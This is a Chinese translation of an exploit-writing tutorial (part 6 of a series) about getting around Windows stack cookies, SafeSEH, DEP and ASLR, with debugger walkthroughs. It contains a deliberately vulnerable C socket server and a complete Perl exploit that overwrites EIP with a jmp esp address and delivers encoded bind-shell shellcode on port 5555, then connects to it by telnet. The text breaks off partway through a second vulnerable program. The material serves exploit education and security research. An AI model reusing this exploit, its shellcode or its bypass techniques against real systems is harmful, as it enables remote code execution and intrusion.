前言

Size: px
Start display at page:

Download "前言"

Transcription

1 Exploit 编写系列教程第六篇 : 绕过 Cookie,SafeSeh,HW DEP 和 ASLR 作者 :Peter Van Eeckhoutte 译者 :dge 导言 在本系列教程的以前章节中, 我们看到了如何在 windows xp/2003 server 上编写 exploit 这些 exploit 之所以有效是基于这样一个事实 --- 我们能找到一个固定的跳转地址或 pop/pop/ret 地址, 它可以让应用程序跳到 shellcode 去执行 不管在什么漏洞场景下, 我们都能或多或少的在操作系统的 DLL 或应用程序的 DLL 中找到地址固定的跳转地址, 这些地址即使在系统重启后依然保持不变, 正是有了这样固定的跳板地址才让 exploit 得以可靠工作 值得庆幸的是, 不计其数的 windows 用户所使用的系统都内置了许多保护机制 : - Stack cookies (/GS Switch cookie) - Safeseh (/Safeseh compiler switch) - Data Execution Prevention (DEP) (software and hardware based) - Address Space Layout Randomization (ASLR) 栈中的 cookie/gs 保护 /GS 编译选项会在函数的开头和结尾添加代码来阻止对典型的栈溢出漏洞 ( 字符串缓冲区 ) 的利用 当应用程序启动时, 程序的 cookie(4 字节 (dword), 无符号整型 ) 被计算出来 ( 伪随机数 ) 并保存在加载模块的.data 节中, 在函数的开头这个 cookie 被拷贝到栈中, 位于 EBP 和返回地址的正前方 ( 位于返回地址和局部变量的中间 ) [buffer][cookie][saved EBP][saved EIP] 在函数的结尾处, 程序会把这个 cookie 和保存在.data 节中的 cookie 进行比较 如果不相等, 就说明进程栈被破坏, 进程必须被终止 为了尽量减少额外的代码行对性能带来的影响, 只有当一个函数中包含字符串缓冲区或使用 _alloca 函数在栈上分配空间的时候编译器才在栈中保存 cookie 另外, 当缓冲区至少于 5 个字节时, 在栈中也不保存 cookie

2 在典型的缓冲区溢出中, 栈上的返回地址会被数据所覆盖, 但在返回地址被覆盖之前,cookie 早已经被覆盖了, 因此就导致了 exploit 的失效 ( 但仍然可以导致拒绝服务 ), 因为在函数的结尾程序会发现 cookie 已经被破坏, 接着应用程序会被结束 [buffer][cookie][saved EBP][saved EIP] [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] ^ /GS 的另外一个重要保护机制是变量重新排序 为了防止对函数本地变量和参数的攻击, 编译器会对栈帧重新排序, 把字符串缓冲区分配在栈帧的最高地址上, 因此当字符串缓冲区被溢出时, 也就不能溢出任何本地变量了 更多关于 cookie 的资料 : 栈中的 cookie/gs 绕过方法 挫败这种栈溢出保护机制的最直接的方法是检索 / 猜测 / 计算出 cookie 值 ( 这样就可以用相同的 cookie 覆盖栈中的 cookie), 这个 cookie 有时候 ( 很少 ) 是一个静态值 但即使如此, 它也可能包含一些不利的字符而导致不能使用它 David Litchfield 在 2003 年发表了一篇用其他的技术来绕过堆栈保护的文章, 不需要猜测 cookie(alex Soritov,Mark Dowd, Matt Miller 三个人在这里做了很出色的工作 ) David 这样描述 : 如果 cookie 被一个跟原始 cookie 不同的值覆盖了, 代码会检查是否安装了安全处理例程,( 如果没有, 系统的异常处理器将接管它 ) 如果黑客覆盖掉一个异常处理结构 ( 下一个 SEH 的指针 + 异常处理器指针 ), 并在 cookie 被检查前触发一个异常, 这时栈中尽管依然存在 cookie, 但栈还是可以被成功溢出 (= 利用 SEH 的 exploit) 毕竟,/GS 最重要的一个缺陷是它没有保护异常处理器, 在这点上, 程序完全依赖 SEH 保护机制 ( 例如 SafeSEH 等 ) 来解决这个问题 正如第三部分所说,safeSEH 也可以被绕过 在 2003 server( 最新的 xp/vista/7/ 版本 ) 中异常处理结构被修改了, 这使得在这些操作系统中很难攻击成功 异常处理器会在 Load Configuration Directory 中注册, 并且当一个异常处理器被执行前, 操作系统会检查这个异常处理器是否被注册过, 稍后, 我们会讨论如何绕过它 利用异常处理器绕过 我们可以通过在检查 cookie 前触发异常来挫败栈的这种保护 ( 或者尝试覆盖其他在 cookie 被检查前就被引用的数据 ( 通过堆栈传给漏洞函数的参数 )), 然后再对付 SEH 保护机制, 如果它存在的话 当然第二种方法只适用于可以向引用数据写入的情况, 你可以改写栈低以下的数据

3 [buffer][cookie][eh record][saved ebp][saved eip][arguments ] overwrite > 在这种情况下, 你需要能覆盖到足够远的地方, 并且程序必须安装了一个异常处理器 ( 它会被覆盖 ), 如果你能控制异常处理器的地址 ( 存在于注册的异常结构中 ), 那么用加载模块以外的地址覆盖它 ( 这个地址应该是有效的, 例如操作系统模块中的地址等等 ), 在新版操作系统中, 大多数模块在编译时使用了 /safeseh, 因此 exploit 将会失败, 但是你仍然可以尝试在未启用 /safeseh( 正如在教程的第三部分解释的 ) 的 dll 中找到一个地址 毕竟,GS 并不能保护堆栈中的 SEH 域, 只需要绕过 SafeSEH 保护,exploit 就可以成功 在教程的第三部分, 我们已经提到需要用 pop/pop/ret 指令的地址覆盖这个指针 ( 需要在 nseh 域上放上一个能跳转到 shellcode 的指令 ), 或者 ( 如果你在程序的加载模块中找不到 pop/pop/ret 指令 ), 你可以观察下 esp/ebp, 查看下这些寄存器距离 nseh 的偏移, 接下来就是查找这样的指令 : - call dword ptr [esp+nn] - call dword ptr [ebp+nn] - jmp dword ptr [esp+nn] - jmp dword ptr[ebp+nn] 其中的 nn 就是寄存器的值到 nseh 的偏移 这些指令可能更容易找到, 但它们同样可以正常工作,Immdbg 的插件 pvefindaddr 可以帮你找到这种指令 通过同时替换栈中和.data 节中的 cookie 来绕过 另一种技术是通过替换加载模块.data 节中的 cookie 值 ( 它是可写的, 否则程序就无法在运行中动态更新 cookie 了 ) 来绕过栈上的 cookie 保护, 并用相同的值替换栈中的 cookie, 如果你有权在任意地方写入任意值 (4 字节的任意写操作 )- 如果类似下边的指令造成访问违例, 那表明可能是一个任意 4 字节的写操作 mov dword ptr[reg1], reg2 ( 很明显, 为了完成这个任务, 你需要能控制 reg1 和 reg2)reg1 应该包含需要写入的内存位置,reg2 应该包含你想写入这个地址的值 利用未被保护的缓冲区来实现绕过 另外一个利用的机会是利用漏洞代码不包含字符串缓冲区 ( 因此堆栈中就没有 cookie) 这对拥有一个整数数组或指针的函数同样有效

4 [buffer][cookie][eh record][saved ebp][saved eip][arguments ] 例如 : 如果 arguments 不包含字符串缓冲区或指针, 你就可以覆盖这些参数, 因为事实上 GS 不会保护这个函数 通过覆盖上层函数的栈数据来绕过 当函数的参数是对象指针或结构指针时, 这些对象或结构存在于调用者的堆栈中, 这也能导致 GS 被绕过, ( 覆盖对象和虚函表指针, 如果你把这个指针指向一个用于欺骗的虚函数表, 你就可以重定向这个虚函数的调用, 并执行恶意的代码 ) 通过猜测 / 计算出 cookie 来绕过 Reducing the Effective Entropy of GS Cookies 基于静态 cookie 的绕过 最后, 如果每次的 cookie 是相同 / 静态的, 这样的话, 你就可以在溢出时简单的把这个值放在堆栈的相应位置上 堆栈 cookie 保护调试及演示 为了证实堆栈中 cookie 的行为, 我们使用在 上的一个简单的代码 ( 在第四部分中使用过 ) 如果给函数 pr() 传送多余 500 字节的数据, 它将被溢出 打开 Visual Studio C ( Express 版本可从这里下载 并创建一个控制台程序 为了让它能在 VS2008 中编译, 我稍微修改了原来的代码 // vulnerable server.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "winsock.h" #include "windows.h" //load windows socket #pragma comment(lib, "wsock32.lib")

5 //Define Return Messages #define SS_ERROR 1 #define SS_OK 0 void pr( char *str) { char buf[500]=" "; strcpy(buf,str); } void serror(char *str) { printf("error %s",str); WSACleanup(); } int _tmain(int argc, _TCHAR* argv[]) { WORD sockversion; WSADATA wsadata; int rval; char Message[5000]=" "; char buf[2000]=" "; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockversion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsadata); //create server socket SOCKET serversocket = socket(af_inet, SOCK_STREAM, 0); if(serversocket == INVALID_SOCKET) { serror("failed socket()"); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons(localport);

6 sin.sin_addr.s_addr = INADDR_ANY; //bind the socket rval = bind(serversocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rval == SOCKET_ERROR) { serror("failed bind()"); WSACleanup(); return SS_ERROR; } //get socket to listen rval = listen(serversocket, 10); if(rval == SOCKET_ERROR) { serror("failed listen()"); WSACleanup(); return SS_ERROR; } //wait for a client to connect SOCKET clientsocket; clientsocket = accept(serversocket, NULL, NULL); if(clientsocket == INVALID_SOCKET) { serror("failed accept()"); WSACleanup(); return SS_ERROR; } int bytesrecv = SOCKET_ERROR; while( bytesrecv == SOCKET_ERROR ) { //receive the data that is being sent by the client max limit to 5000 bytes. bytesrecv = recv( clientsocket, Message, 5000, 0 ); } if ( bytesrecv == 0 bytesrecv == WSAECONNRESET ) { printf( "\nconnection Closed.\n"); break; } //Pass the data received to the function pr

7 pr(message); //close client socket closesocket(clientsocket); //close server socket closesocket(serversocket); WSACleanup(); return SS_OK; } 编辑漏洞程序的属性 转到 C / C + + 代码生成, 并设置 Buffer Security Check 为 NO

8 编译代码 ( 调试模式 ) 在调试器中打开漏洞程序 server.exe, 并观察函数 pr(): (8c0.9c8): Break instruction exception - code (first chance) eax=7ffde000 ebx= ecx= edx= esi= edi= eip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:001> uf pr *** WARNING: Unable to verify checksum for C:\Documents and Settings\peter\My Documents\Visual Studio 2008\Projects\vulnerable server\debug\vulnerable server.exe vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable 17]: push ebp bec mov ebp,esp ecbc sub esp,2bch push ebx a 56 push esi b 57 push edi c 8dbd44fdffff lea edi,[ebp-2bch] b9af mov ecx,0afh b8cccccccc mov eax,0cccccccch c f3ab rep stos dword ptr es:[edi] e a03c mov al,byte ptr [vulnerable_server!`string' ( c)] feffff mov byte ptr [ebp-1f8h],al f push 1F3h

9 e 6a00 push d8509feffff lea eax,[ebp-1f7h] push eax e81bfcffff call vulnerable_server!ilt+130(_memset) ( ) c 83c40c add esp,0ch f 8b4508 mov eax,dword ptr [ebp+8] push eax d8d08feffff lea ecx,[ebp-1f8h] push ecx a e83ffcffff call vulnerable_server!ilt+185(_strcpy) (004110be) f 83c408 add esp, push edx bcd mov ecx,ebp push eax d15a lea edx,[vulnerable_server!pr+0x78 (004114a8)] c e80ffcffff call vulnerable_server!ilt+155(_rtc_checkstackvars (004110a0) pop eax a pop edx f pop edi e pop esi b pop ebx c4bc add esp,2bch c 3bec cmp ebp,esp e e8cffcffff call vulnerable_server!ilt+365( RTC_CheckEsp) ( ) a3 8be5 mov esp,ebp a5 5d pop ebp a6 c3 ret 如你所见, 这个函数的开头并没有关于 cookie 的任何东西 现在打开 /GS 选项重新编译, 并再次观察这个函数 : ( ): Break instruction exception - code (first chance) eax=00251eb4 ebx=7ffdc000 ecx= edx= esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:000> uf pr *** WARNING: Unable to verify checksum for vulnerable server.exe vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable 17]: push ebp

10 bec mov ebp,esp ecc sub esp,2c0h push ebx a 56 push esi b 57 push edi c 8dbd40fdffff lea edi,[ebp-2c0h] b9b mov ecx,0b0h b8cccccccc mov eax,0cccccccch c f3ab rep stos dword ptr es:[edi] e a mov eax,dword ptr [vulnerable_server! security_cookie ( )] c5 xor eax,ebp fc mov dword ptr [ebp-4],eax a03c mov al,byte ptr [vulnerable_server!`string' ( c)] d feffff mov byte ptr [ebp-1fch],al f push 1F3h a00 push a 8d8505feffff lea eax,[ebp-1fbh] push eax e811fcffff call vulnerable_server!ilt+130(_memset) ( ) c40c add esp,0ch b4508 mov eax,dword ptr [ebp+8] c 50 push eax d 8d8d04feffff lea ecx,[ebp-1fch] push ecx e835fcffff call vulnerable_server!ilt+185(_strcpy) (004110be) c408 add esp, c 52 push edx d 8bcd mov ecx,ebp f 50 push eax d15bc lea edx,[vulnerable_server!pr+0x8c (004114bc)] e805fcffff call vulnerable_server!ilt+155(_rtc_checkstackvars (004110a0) b 58 pop eax c 5a pop edx d 5f pop edi e 5e pop esi f 5b pop ebx a0 8b4dfc mov ecx,dword ptr [ebp-4] a3 33cd xor ecx,ebp a5 e879fbffff call vulnerable_server!ilt+30( security_check_cookie ( ) aa 81c4c add esp,2c0h b0 3bec cmp ebp,esp

11 b2 e8bbfcffff call vulnerable_server!ilt+365( RTC_CheckEsp) ( ) b7 8be5 mov esp,ebp b9 5d pop ebp ba c3 ret 在这个函数的开头, 做了下边这些操作 : - sub esp,2c0h : 预留 704 字节空间 - mov eax,dword ptr[vulnerable_server! security_cookie ( )] : 提取 cookie 副本 - xor eax,ebp : cookie 和 ebp 进行异或 - 然后把 cookie 保存到堆栈中返回地址的下方 - 在函数的结尾, 下边的指令被执行 : - mov ecx,dword ptr [ebp-4] : 获取 cookie 的副本 - xor ecx,ebp : 再次执行异或操作 - call vulnerable_server!itl+30( security_check_cookie ( ) : 跳入例程进行 cookie 验证 简而言之 : 在函数的开头一个安全的 cookie 被添加到堆栈中, 当函数返回时会对这个 cookie 进行验证 当你发送超过 500 字节的数据到 200 端口尝试溢出缓冲区的时候, 这个应用程序挂掉了 ( 在调试器中, 程序执行到一个断点 - 用 VS2008 C++ 编译的程序在运行时未初始化变量默认都被置成 0xcc) (a38.444): Break instruction exception - code (first chance) eax= ebx= b ecx=bb522d78 edx=0012cb9b esi=102ce7b0 edi= eip=7c90120e esp=0012cbbc ebp=0012da08 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:000> d esp 0012cbbc c c da $A...\A., cbcc 2c da dc cb b0 e7 2c 10,...,. 0012cbdc b S.t.a.c.k..a.r. 0012cbec 6f e o.u.n.d..t.h.e. 0012cbfc c 00.v.a.r.i.a.b.l. 0012cc0c e..'.b.u.f.' cc1c f w.a.s..c.o.r.r. 0012cc2c e u.p.t.e.d...

12 (esp 指向的内容 Stack around the variable buf was corrupted, 它是 VS2008 中 RTC 检查的结果, 可以通过在 Visual Studio 中禁用编译优化或者设置 TRCu 参数来禁止运行时检查, 当然在正常情况下, 你不应该禁止它, 因为它可以有效的阻止堆栈腐败 ) 当你用 lcc-win32 编译原代码的时候 ( 它没有编译保护, 因此运行的时候很脆弱 ), 在 windbg 中打开执行文件 ( 现在还没有启动 ), 然后观察这个函数 : (82c.af4): Break instruction exception - code (first chance) eax=00241eb4 ebx=7ffd7000 ecx= edx= esi=00241f48 edi=00241eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:000> uf pr *** WARNING: Unable to verify checksum for c:\sploits\vulnsrv\\vulnsrv.exe vulnsrv!pr: d4 55 push ebp d5 89e5 mov ebp,esp d7 81ecf sub esp,1f4h dd b97d mov ecx,7dh vulnsrv!pr+0xe: e2 49 dec ecx e3 c7048c5a5afaff mov dword ptr [esp+ecx*4],0fffa5a5ah ea 75f6 jne vulnsrv!pr+0xe (004012e2) vulnsrv!pr+0x18: ec 56 push esi ed 57 push edi ee 8dbd0cfeffff lea edi,[ebp-1f4h] f4 8d35a0a04000 lea esi,[vulnsrv!main+0x8d6e (0040a0a0)] fa b9f mov ecx,1f4h ff f3a4 rep movs byte ptr es:[edi],byte ptr [esi] ff7508 push dword ptr [ebp+8] dbd0cfeffff lea edi,[ebp-1f4h] a 57 push edi b e call vulnsrv!main+0x301f ( ) c408 add esp, f pop edi e pop esi c9 leave c3 ret 现在发送 1000 个字符到服务程序 ( 没用 /GS 编译 ), 它挂掉了

13 (c60.cb0): Access violation - code c (!!! second chance!!!) eax=0012e656 ebx= ecx=0012e44e edx=0012e600 esi= edi= eip= esp=0012e264 ebp= iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ????? 0:000>!load byakugan [Byakugan] Successfully loaded! 0:000>!pattern_offset 1000 [Byakugan] Control of ebp at offset 504. [Byakugan] Control of eip at offset 508. 我们可以在 508 字节偏移的地方控制 EIP, 这时 ESP 指向我们的缓冲区 : 0:000> d esp 0012e Ar1Ar2Ar3Ar4Ar5 0012e Ar6Ar7Ar8Ar9As0A 0012e s1as2as3as4as5as 0012e As7As8As9At0At1 0012e2a At2At3At4At5At6A 0012e2b t7at8at9au0au1au 0012e2c Au3Au4Au5Au6Au7 0012e2d Au8Au9Av0Av1Av2A 0:000> d 0012e2e v3av4av5av6av7av 0012e2f Av9Aw0Aw1Aw2Aw3 0012e Aw4Aw5Aw6Aw7Aw8A 0012e w9ax0ax1ax2ax3ax 0012e Ax5Ax6Ax7Ax8Ax9 0012e Ay0Ay1Ay2Ay3Ay4A 0012e a y5ay6ay7ay8ay9az 0012e a a a a a 35 0Az1Az2Az3Az4Az5 0:000> d 0012e a a a a Az6Az7Az8Az9Ba0B 0012e a1ba2ba3ba4ba5ba 0012e Ba7Ba8Ba9Bb0Bb1 0012e Bb2Bb3Bb4Bb5Bb6B 0012e3a b7bb8bb9bc0bc1bc 0012e3b Bc3Bc4Bc5Bc6Bc7 0012e3c Bc8Bc9Bd0Bd1Bd2B 0012e3d d3bd4bd5bd6bd7bd (esp 指向缓冲区的 512 字节偏移处 )

14 $./pattern_offset.rb 0Ar exploit:( 利用 kernel32.dll 中的 jmp esp 指令地址 :0 7C874413) # # Writing buffer overflows - Tutorial # Peter Van Eeckhoutte # # # Exploit for vulnsrv.c # # print " \n"; print " Writing Buffer Overflows\n"; print " Peter Van Eeckhoutte\n"; print " print " \n"; print " Exploit for vulnsrv.c\n"; print " \n"; use strict; use Socket; my $junk = "\x90" x 508; #jmp esp (kernel32.dll) my $eipoverwrite = pack('v',0x7c874413); # windows/shell_bind_tcp bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a". "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f". "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35". "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f". "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31". "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e". "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54". "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b". "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45".

15 "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b". "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b". "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c". "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53". "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c". "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e". "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36". "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47". "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48". "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56". "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58". "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38". "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56". "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53". "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35". "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58". "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36". "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38". "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46". "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59". "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54". "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57". "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35". "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38". "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59". "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49". "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32". "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a". "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e". "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56". "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a". "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30". "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f". "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30". "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f". "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a". "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50". "\x41\x41"; my $nops="\x90" x 10; # initialize host and port my $host = shift 'localhost'; my $port = shift 200;

16 my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$nops.$shellcode."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; system("telnet $host 5555\n"); 好了, 这个 exploit 在这里是可以工作的, 因为这个程序没有启用 /GS 保护 现在用同样的 exploit 攻击开启 /GS 后的程序版本 : 程序挂掉了,exploit 并没有成功 在调试器中打开漏洞程序 ( 开启 GS), 运行前在函数 security_check_cookie 上设置断点 : (b88.260): Break instruction exception - code (first chance)

17 eax=00251eb4 ebx=7ffd7000 ecx= edx= esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:000> bp vulnerable_server! security_check_cookie 0:000> bl 0 e dd 0001 (0001) 0:**** vulnerable_server! security_check_cookie 当溢出发生的时候堆栈到底发生了什么? 让我们观察下, 当发送 512 个 A 到漏洞程序的时候会发生什么 : use strict; use Socket; my $junk = "\x41" x 512; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port addressmy $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the portsocket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; 下边就是调试器中发生的情况 ( 已经在 vulnerable_server! security_check_cookie 上设置断点 ): 0:000> g ModLoad: 71a a8f000 C:\WINDOWS\system32\mswsock.dll ModLoad: 662b C:\WINDOWS\system32\hnetcfg.dll ModLoad: 77f f59000 C:\WINDOWS\system32\GDI32.dll ModLoad: 7e e4a1000 C:\WINDOWS\system32\USER32.dll ModLoad: ad000 C:\WINDOWS\system32\IMM32.DLL

18 ModLoad: 71a a98000 C:\WINDOWS\System32\wshtcpip.dll Breakpoint 0 hit eax=0012e46e ebx= ecx=4153a31d edx=0012e400 esi= edi= eip=004012dd esp=0012e048 ebp=0012e25c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= vulnerable_server! security_check_cookie: dd 3b0d cmp ecx,dword ptr [vulnerable_server! security_cookie ( )] ds:0023: =ef793df6 这里说明了程序会对安全 cookie 进行比较验证 安全 cookie 被保存在地址 上 0:000> dd 0x ef793df6 1086c209 ffffffff ffffffff fffffffe a 因为我们覆盖了堆栈的一部分 ( 包括 GS cookie), 导致对 cookie 的验证失败, 接着函数 FastSystemCallRet 被调用 重新运行这个漏洞程序, 再次运行 perl 代码对其进行攻击, 并查看 cookie( 验证是否改变 ): (480.fb0): Break instruction exception - code (first chance) eax=00251eb4 ebx=7ffd9000 ecx= edx= esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ntdll!dbgbreakpoint: 7c90120e cc int 3 0:000> bp vulnerable_server! security_check_cookie 0:000> bl 0 e dd 0001 (0001) 0:**** vulnerable_server! security_check_cookie 0:000> g ModLoad: 71a a8f000 C:\WINDOWS\system32\mswsock.dll ModLoad: 662b C:\WINDOWS\system32\hnetcfg.dll ModLoad: 77f f59000 C:\WINDOWS\system32\GDI32.dll ModLoad: 7e e4a1000 C:\WINDOWS\system32\USER32.dll ModLoad: ad000 C:\WINDOWS\system32\IMM32.DLL ModLoad: 71a a98000 C:\WINDOWS\System32\wshtcpip.dll Breakpoint 0 hit eax=0012e46e ebx= ecx=4153a31d edx=0012e400 esi= edi= eip=004012dd esp=0012e048 ebp=0012e25c iopl=0 nv up ei pl nz na pe nc

19 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= vulnerable_server! security_check_cookie: dd 3b0d cmp ecx,dword ptr [vulnerable_server! security_cookie ( )] ds:0023: =d0dd8743 0:000> dd 0x d0dd8743 2f2278bc ffffffff ffffffff fffffffe a 它们是不同的, 这意味着它是不可预测的,( 这是经常会发生的 (MS 的利用就展示了一个可以利用这种静态 Cookie 的事实, 因此它在理论上是可能的 ) 不管怎么溢出缓冲区, 应用程序都会挂在这里 :ntdll!kifastsystemcallret ( 在函数 pr() 上设置断点, 并单步跟踪直到对安全 cookie 的检查失败 ( 在函数返回之前 )) 关于 /GS 选项对于防止缓冲区溢出而对代码所做的更改, 在这里给出了足够的信息 如前所述, 有一些绕过 GS 保护的技术, 它们大多数基于一个事实 --- 你能覆盖到异常处理结构并能在 cookie 被检查前触发异常, 其他依赖的是能够写入参数 我做了很多尝试, 但针对这个程序的 exploit 始终没有成功 ( 不能覆盖异常处理器 ), 因此看上去 /GS 对这个程序的保护还是相当有效的 绕过栈中的 cookie 演示 1: 异常处理 漏洞代码 我们使用下边的 c++ 代码 (basicbof.cpp) 来演示如何绕过堆栈中的 cookie: #include "stdafx.h" #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) { char buffer[500]; try { strcpy(buffer,str); strcpy(out,buffer); printf("input received : %s\n",buffer); }

